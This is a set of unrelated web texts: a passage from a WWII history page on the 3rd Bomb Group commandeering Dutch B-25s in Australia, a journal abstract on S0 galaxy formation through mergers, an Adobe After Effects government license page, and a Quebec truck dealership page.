"You idiot," the aide cried, "I'll have your ass. "
"Yes Sir."
At 2400 hours, while a deep midnight darkness hung over Charters Towers, the drone of planes prompted the men of the 3rd Group to rush onto the air strip and ignite lights. Swiftly, the B-25's touched down on the runway and taxied to the far end of the strip, while waiting vehicles led them to the revetment areas. By 0100 hours, the pirated bombers had been safely tucked away and the lights snuffed out.
Grim Reaper ground crews hugged the clean olive green surfaces of the Mitchells, almost awed by the sight and smell of the new planes. Unlike the A-24's that Davies had brought originally, these bombers did not need service, new engines, new electrical equipment, armament systems, or extensive overhauls.
In Brisbane, meanwhile, the understanding major was already confined to quarters for possible court martial because he had allowed an air corps officer to abscond with 24 new aircraft without proper authorization.
The Dutch reacted furiously, demanding that FEAF return the planes at once. However, when a FEAF officer asked if they had pilots to fly the Mitchells back to Melbourne, the NEI officer was strangely mum for a moment. He then muttered, "The Americans took them and they should fly them back."
FEAF headquarters, meanwhile, sent a frantic message to Charters Towers: "Return 24 B-25's to Batchelor Field at once." But, 3rd Group clerks said they needed to check with Colonel Davies who, unfortunately, was unavailable at the moment. FEAF probers got similar blanks from ADVON FEAF in Brisbane.
"Sorry, General Eubank is somewhere in the field." Thus, the Melbourne brass could only tell the Dutch that Air Force headquarters in Australia would form a board of inquiry to look into the matter.
Not until 24 hours later did somebody at FEAF finally reach General Eubank. Eubank pleaded ignorance. He had merely allowed Davies to pick up the allotted B-25's that had apparently arrived in Australia as promised by Washington. Eubank was not to blame if the report had been false and Davies had picked up the wrong aircraft.
The aide grumbled but a moment later, General Brett was on the phone. "Gene, we could have an international incident over this thing. The Dutch are furious and if they go to the state department, God only knows what'll happen. You'll need to get those planes back to Batchelor Field."
"I can't do that," Eubank said.
"What the hell do you mean, you can't?"
"Am I in charge of FEAF planning or not?" Eubank asked.
"Sure, but what's that got do with it."
"The Nips are building up Lae and Salamaua, and I plan to hit those bases with these B-25's. We've already made arrangements to stage them out of Moresby."
"Goddam it, Gene," Brett growled, "they'll have my ass."
"If we can hurt those Japs, it'll be worth it."
"Okay," Brett sighed. "I'll go along."
Yet, the brazenness of the 3rd Group airmen had not ended. On the same 30 March day, Captain Gunn and his engineering crews readied the B-25's for combat, but discovered that the planes did not have bomb sights. The instruments were still in Brisbane. John Davies was shattered, but Pappy promised to get them. He flew at once to Batchelor Field.
With unmitigated boldness, Gunn walked into the Dutch supply building at the base and demanded the bomb sights for the B-25's. The Dutch, already infuriated, wondered how the Americans now had the audacity to ask for anything. The request was refused. The story then prevailed in Melbourne that Pappy Gunn aimed a tommy gun at the depot personnel and ordered them to give up the bomb sights or else. Whether or not Pappy actually made such a threat with a gun is mere rumor, but one thing is certain: Gunn returned to Charters Towers with the bombsights for the B-25's.
Three of these Dutch B-25's may have arrived at Archerfield on 9 March 1942, being part of the first delivery of aircraft. They may have flown via West Africa.
Netherlands East Indies Air Force Home Page
Airfields WW2 - 50 Years On"
By Roger R. Marks
"The Grim Reapers"
History of the 3rd Bomb Group, 1918-1965"
By Lawrence Cortesi,
Published by Historical Aviation Album.
Can anyone help me with more information?
"Australia @ War" WWII Research Products
� Peter Dunn OAM 2020
e-mail me
This page first produced 1 July 1999
This page last updated 21 February 2020


text:
Volume 604, August 2017
|Article Number
|Number of page(s)
|Extragalactic astronomy
|Published online
|18 August 2017
Formation of S0 galaxies through mergers
Evolution in the Tully-Fisher relation since z ~ 1
1 Instituto de Astronomía, Universidad Nacional Autónoma de México, Apdo. 106, Ensenada BC 22800, Mexico
e-mail: firstname.lastname@example.com
2 Instituto de Astrofísica de Canarias, C/ vía Láctea, 38200 La Laguna, Tenerife, Spain
3 Departamento de Astrofísica, Universidad de La Laguna, 38200 La Laguna, Tenerife, Spain
4 Departamento de Astrofísica y CC. de la Atmósfera, Universidad Complutense de Madrid, 28040 Madrid, Spain
5 Max-Planck-Institut für Astronomie, Königstuhl, 17, 69117 Heidelberg, Germany
Received: 29 April 2016
Accepted: 18 May 2017
Context. Lenticular (S0) galaxies are known to derive from spiral galaxies. The fact that S0s nearly obey the Tully-Fisher relation (TFR) at z ~ 0 (as spirals have done in the last ~9 Gyr) is considered an argument against their major-merger origin because equal mergers of two disc galaxies produce remnants that are outliers of the TFR.
Aims. We explore whether a scenario that combines an origin by mergers at z ~ 1.8 − 1.5 with a subsequent passive evolution of the resulting S0 remnants since z ~ 0.8–1 is compatible with observational data of S0s in the TFR both at z ~ 0.8 and z ~ 0.
Methods. We studied a set of major and minor merger experiments from the GalMer database that generate massive S0 remnants that are dynamically relaxed and have realistic properties. We analysed the location of these remnants in the photometric and stellar TFRs assuming that they correspond to z ~ 0.8 galaxies. We then estimated their evolution in these planes over the last ~7 Gyr considering that they have evolved passively in isolation. The results were compared with data of real S0s and spirals at different redshifts. We also tested how the use of Vcirc or Vrot,max affects the results.
Results. Just after ~1–2 Gyr of coalescence, major mergers generate S0 remnants that are outliers of the local photometric and stellar TFRs (as already stated in previous studies), in good agreement with observations at z ~ 0.8. After ~4–7 Gyr of passive evolution in isolation, the S0 remnants move towards the local TFR, although the initial scatter among them persists. This scatter is sensitive to the indicator used for the rotation velocity: Vcirc values yield a lower scatter than when Vrot,max values are considered instead. In the planes involving Vrot,max, a clear segregation of the S0 remnants in terms of the spin-orbit coupling of the model is observed, in which the remnants of retrograde encounters overlap with local S0s hosting counter-rotating discs. The location of the S0 remnants at z ~ 0 agrees well with the observed distribution of local S0 galaxies in the σ0–MK, Vcirc–σ0, and Vrot,max–σ0 planes.
Conclusions. Massive S0 galaxies may have been formed through major mergers that occurred at high redshift and have later evolved towards the local TFR through passive evolution in relative isolation, a mechanism that would also contribute to the scatter observed in this relation.
Key words: galaxies: formation / galaxies: evolution / galaxies: elliptical and lenticular, cD / galaxies: interactions / galaxies: structure / galaxies: kinematics and dynamics
Current usage metrics show cumulative count of Article Views (full-text article views including HTML views, PDF and ePub downloads, according to the available data) and Abstracts Views on Vision4Press platform.
Data correspond to usage on the plateform after 2015. The current usage metrics is available 48-96 hours after online publication and is updated daily on week days.
Initial download of the metrics may take a while.


text:
1-Year Subscription License
Adobe Government Licenses are for sale to Local, State, and Federal Government departments and agencies.
Adobe Government Licenses are for sale to Local, State, and Federal Government departments and agencies.
Adobe AfterEffects Creative Cloud for Government provides you with access to the latest version of Adobe AfterEffects, all updates and upgrades to the software the moment they are released, 20GB of online storage for file sharing and collaboration, and a customized online portfolio with Behance ProSite, enabling you to publish your work to the world's leading creative community. Adobe Creative Cloud for Government memberships are managed via an easy-to-use Admin Console—a web-based portal that lets you centrally purchase, deploy, and manage all Creative Cloud for Government seats across your organization.
Make the impossible possible with the new, more connected After Effects CC. Get powerful new features like a Live 3D Pipeline that brings CINEMA 4D scenes in as layers — without intermediate rendering. Share work directly from within the application, sync your settings across machines, and get access to new features the moment they're released. Your entire creative world, together in one place. Only in Creative Cloud.
Adobe AfterEffects Creative Cloud Top Features:
Adobe AfterEffects Creative Cloud System Requirements:
Mac OS:
|Adobe Government


text:
A simplified experience
Your trusted partner for the sale, purchase, and maintenance of your truck fleet.
We're more than just a truck dealership
Experience excellent service with Camions BL and receive service that reflects your success.
Redefining Standards
Our process and approach are founded on a commitment to being the best partner in the industry. We are Elite Support certified.
36 Years of Expertise
The quality of our services and your peace of mind are backed by our team's skills and expertise. More than half of our customers have been trusting us for more than ten years.
One-Stop Shop
We offer all our services under one roof to make our customers' lives easier. 94% overall customer satisfaction rate.
Benefit our current promotions today! Ask our representatives for more information!
Brands We Trust
Find the vehicle that suits your needs out of our huge inventory of new Freightliner trucks. Our salespeople will guide you every step of the way.
*Freightliner trucks are only available at the Granby branch
Western star
50 years of excellence, a mark of confidence. Let our salespeople help you select your Western Star truck.
New Trucks
Choose from our inventory or customize your own truck.
Truck configurator
Configure your Cascadia truck
Used Trucks
Ready-to-work trucks, pre-owned certified by our expert mechanics.
Our Certifications
Camions BL strives to ensure the products and services we offer our customers are fully customized to suit their needs. Our team guarantees the highest standards in the trucking industry through specialized training.
Elite Support
Certified dealerships offer unparalleled efficiency every time you entrust us with the maintenance or repair of your truck.
Express Assessment
Our team is committed to providing you with a preliminary assessment within two hours of your arrival.
*Elite Support and Express Assessment certifications are available at the Granby and Victoriaville branch.
Join our team!
A family-owned business with family values. Choose to work at Camions BL and stay focused on your passion with a team that will allow you to develop your skills and further your career.